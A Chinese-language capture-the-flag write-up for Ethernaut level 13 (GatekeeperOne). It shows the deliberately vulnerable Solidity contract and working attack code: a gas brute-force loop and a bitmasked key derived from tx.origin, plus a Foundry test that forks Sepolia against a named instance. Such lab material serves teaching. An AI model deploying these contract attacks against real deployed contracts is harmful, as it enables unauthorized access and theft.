Ethernaut CTF Level 13 - GatekeeperOne

題目

跨越守衛的守衛並且註冊成為參賽者吧。

可能會有用的資訊

回憶一下你在 Telephone 和 Token 關卡學到了什麼
可以去翻翻 Solidity 文件，更深入的了解一下 gasleft() 函式的資訊

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析

此題難度開始增加，從modifier可以看到有三個關卡要通過

gateOne

require(msg.sender != tx.origin);

相對簡單，只要寫個合約，用Metamask呼叫即可達成條件

gateTwo

require(gasleft() % 8191 == 0);

在呼叫這個modifier的時候，所剩的gas需要能被8191整除

這邊我的對應方式是用暴力破解

我們可以用forloop去觀看循環到踏入gateThree()的時候的fail revert

gateThree

簡化一下code，一個 uint64 (byte8) 的 key要滿足以下三個條件

uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

以我的錢包末四碼是0939

可以構造一個 key 0xFFFFFFFF00000939來達成

• 0x00000939 == 0x0939
• 0x00000939 != 0xFFFFFFFF00000939
• 0x00000939 == 0x0939 (末四碼)

攻擊

綜觀上述思路，可以寫個簡單的合約如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack{
    
    function attack_() public {
        bytes8 key = 0xFFFFFFFF00000939;
        
        for (uint256 i = 250; i < 500; i++) {    
            
            (bool result,) = address(<INSTANCE>).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
            if (result) {
                break;
            }
        }
    }
}

Foundry Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/13-GatekeeperOne/GatekeeperOne.sol";

contract ContractTest is Test {
    AttackContract attackContract;
    GatekeeperOne level13 =
        GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));

    function setUp() public {
        Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
        vm.createSelectFork(vm.rpcUrl("sepolia"));

        vm.label(address(this), "Attacker");
        vm.label(
            address(0x0eDF7E447741A21ED33F14C13842639910F36c8b),
            "Ethernaut13"
        );
        attackContract = new AttackContract();
    }

    function testEthernaut13() public {
        attackContract.enter();
    }

    receive() external payable {}
}

contract AttackContract {
    GatekeeperOne level13 =
        GatekeeperOne(payable(0x0eDF7E447741A21ED33F14C13842639910F36c8b));

    function enter() public {
        bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) &
            0xffffffff0000ffff;
        for (uint256 i = 0; i < 300; i++) {
            (bool result, ) = address(level13).call{gas: i + 8191 * 3}(
                abi.encodeWithSignature("enter(bytes8)", _gateKey)
            );
            if (result) {
                // example: i = 256 with key 0x83f33e0700001f38
                console.log(i);
                break;
            }
        }
    }
}